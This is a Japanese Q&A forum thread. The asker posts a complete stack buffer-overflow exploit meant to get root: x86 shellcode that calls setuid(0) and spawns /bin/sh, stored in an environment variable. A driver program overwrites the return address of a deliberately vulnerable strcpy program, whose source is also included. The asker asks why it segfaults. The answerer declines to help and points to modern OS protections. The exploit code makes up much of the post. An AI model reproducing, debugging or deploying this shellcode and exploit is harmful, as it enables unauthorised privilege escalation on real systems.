バッファオーバーラン 環境変数参照

質問

今回私がやってみたいことは脆弱なプログラムにバッファオーバーランを起こさせそれを利用して環境変数に格納してあるshellcodeを実行させrootをゲットするということです。
コードは以下の通りです
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc , char *argv[])
{
char *env[2]={shellcode,NULL};
int i;
long ret,*addr_ptr;
char *buffer,*ptr;

buffer = malloc(40);

ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2");

ptr = buffer;

addr_ptr = (long *)ptr;
for(i=0;i<40;i+=4)
*(addr_ptr++) = ret;

buffer[40-1]=0;

execle("./vuln2","vuln2",buffer,0,env);

free(buffer);

return 0;
}
vuln2.cのソースです
#include <string.h>
int main(int argc,char *argv[])
{
char buffer[5];
strcpy(buffer,argv[1]);
return 0;
}
実行結果です
./env
Segmentation fault (コアダンプ)

なぜかコアダンプしてしまいますしっかりvuln2の戻りアドレスを偽の戻りアドレス(環境変数)で上書きしているはずなのですが。

どなたかわかる方いましたら回答お願いします

回答No.1

Wr5 · ベストアンサー

>脆弱なプログラムにバッファオーバーランを起こさせそれを利用して環境変数に格納してあるshellcodeを実行させrootをゲットするということです。

ハッキングのやり方を質問しているようですが…まともに(というか希望する)回答つくんでしょうかね？

そもそも、希望する動作をさせるためにはそれなりに条件が必要なハズですが……。
# 当たり前ですがWindowsじゃ動きませんし、セキュリティ対策されたLinuxでもおそらく無理でしょう。

RHEL系だったらExec-ShieldやSELinuxだって無効化しなきゃならないでしょうし、カーネルやライブラリ群も古いモノが必要でしょう。

>なぜかコアダンプしてしまいますしっかりvuln2の戻りアドレスを偽の戻りアドレス(環境変数)で上書きしているはずなのですが。

プロセスに割り当てられていないメモリ領域いぢろうとしたら、例外処理で落とされるのは今時のマトモなOSなら当然かと。

もっとアンダーグラウンドな場で質問すべき…ではないですかね？
# ちなみに私は試す気もないですが。